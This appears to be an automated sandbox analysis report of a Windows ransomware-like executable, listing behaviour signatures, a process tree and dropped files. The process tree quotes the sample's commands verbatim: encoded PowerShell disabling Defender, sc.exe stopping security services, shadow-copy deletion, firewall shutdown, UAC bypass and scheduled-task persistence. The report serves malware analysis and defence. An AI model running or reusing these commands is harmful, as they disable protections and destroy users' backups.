Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/08/2026, 02:13

General

  • Target
    jaak.io_hyber.exe
  • Size 49KB
  • Sample260831-cnes2atdja
  • SHA256 927d3096e483ecd14b47bdea42e5db27e81b14daab24370a8570af63c633d0ab
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 4 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\jaak.io_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\jaak.io_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:6104
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2488
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4108
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4416
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:1432
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4700
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:6004
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4716
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:5296
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3964
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2720
      • C:\Users\Admin\AppData\Local\Temp\jaak.io_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\jaak.io_hyber.exe"
        3⤵
          PID:4908
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:3500
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\jaak.io_hyber.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:768
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1884
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:5852
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3376
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1432
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:1808
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4416
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:4860
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5424
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2560
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3008
        • C:\Windows\system32\net.exe
          net user
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5188
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 user
            4⤵
              PID:3492
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4108
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:1656
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1988
          • C:\Windows\system32\NETSTAT.EXE
            netstat -an
            3⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:5840
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\jaak.io_hyber.exe" /sc daily /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2896
        • C:\Windows\System32\wscript.exe
          "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
          2⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:2688
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:5352
          • C:\Windows\System32\vssadmin.exe
            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
            2⤵
            • Interacts with shadow copies
            PID:1764
          • C:\Windows\System32\wbem\WMIC.exe
            "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5824
          • C:\Windows\System32\net.exe
            "C:\Windows\System32\net.exe" stop srservice
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5556
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop srservice
              3⤵
                PID:2168
            • C:\Windows\System32\netsh.exe
              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
              2⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:5920
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" config i8042prt start= disabled
              2⤵
              • Launches sc.exe
              PID:2096
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" stop i8042prt
              2⤵
              • Launches sc.exe
              PID:1196
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x0 /state0:0xa3a20055 /state1:0x41c64e6d
            1⤵
            • Drops file in System32 directory
            • Drops file in Windows directory
            • Checks processor information in registry
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:3476
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k CameraMonitor
            1⤵
              PID:3844
            • C:\Users\Admin\AppData\Local\Temp\jaak.io_hyber.exe
              C:\Users\Admin\AppData\Local\Temp\jaak.io_hyber.exe
              1⤵
                PID:3636
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                  PID:4204
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k GPSvcGroup
                  1⤵
                    PID:472

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

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                        Downloads

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 66KB
                        • SHA256 3126661ef9aca15a1559e85219e8a237ad7c677a8b4024adb8894db9778991a3
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 66KB
                        • SHA256 c1b260996d49a15daf450f5fdba9a1694c8755e7f204b04fbc460e32c45d98e9
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 238B
                        • SHA256 ed40f9071a9a7da867fddd8390521f38045757108650735c48cc4ddad0a015a4
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 239B
                        • SHA256 01cda711aed6dea335c5edf85cdc4d862a7ab3d03cf820c9275e1a9548e8434b
                        • MD5 SHA1 SHA512 TLSH

                        memory/2488-366-0x000001F739B50000-0x000001F739C02000-memory.dmp

                        memory/2488-309-0x000001F721810000-0x000001F72182E000-memory.dmp

                        memory/2488-813-0x000001F721830000-0x000001F72183A000-memory.dmp

                        memory/2488-19-0x000001F721790000-0x000001F7217B2000-memory.dmp

                        memory/3476-2275-0x0000022A7AB80000-0x0000022A7ACEC000-memory.dmp

                        memory/3476-2263-0x0000022A7AB80000-0x0000022A7ACEC000-memory.dmp

                        memory/3476-2267-0x0000022A7AB80000-0x0000022A7ACEC000-memory.dmp

                        memory/3476-2270-0x0000022A7AB80000-0x0000022A7ACEC000-memory.dmp

                        memory/3476-2274-0x0000022A7AB80000-0x0000022A7ACEC000-memory.dmp

                        memory/3476-2277-0x0000022A7AB80000-0x0000022A7ACEC000-memory.dmp

                        memory/3476-2278-0x0000022A7AB80000-0x0000022A7ACEC000-memory.dmp

                        memory/3476-2281-0x0000022A7AB80000-0x0000022A7ACEC000-memory.dmp

                        memory/3476-1347-0x0000022A7AB80000-0x0000022A7ACEC000-memory.dmp

                        memory/5352-2250-0x0000016497CB0000-0x0000016497CB1000-memory.dmp

                        memory/6104-13-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-2260-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-17-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-18-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-14-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-0-0x00007FF8E63AF000-0x00007FF8E63B0000-memory.dmp

                        memory/6104-2248-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-12-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-2258-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-2257-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-2256-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-11-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-2261-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-2262-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-10-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-2264-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-2265-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-9-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-7-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-8-0x000000001EA20000-0x000000001EF48000-memory.dmp

                        memory/6104-6-0x000000001DD90000-0x000000001DF52000-memory.dmp

                        memory/6104-3-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-2-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp

                        memory/6104-1-0x00000000008C0000-0x00000000008D2000-memory.dmp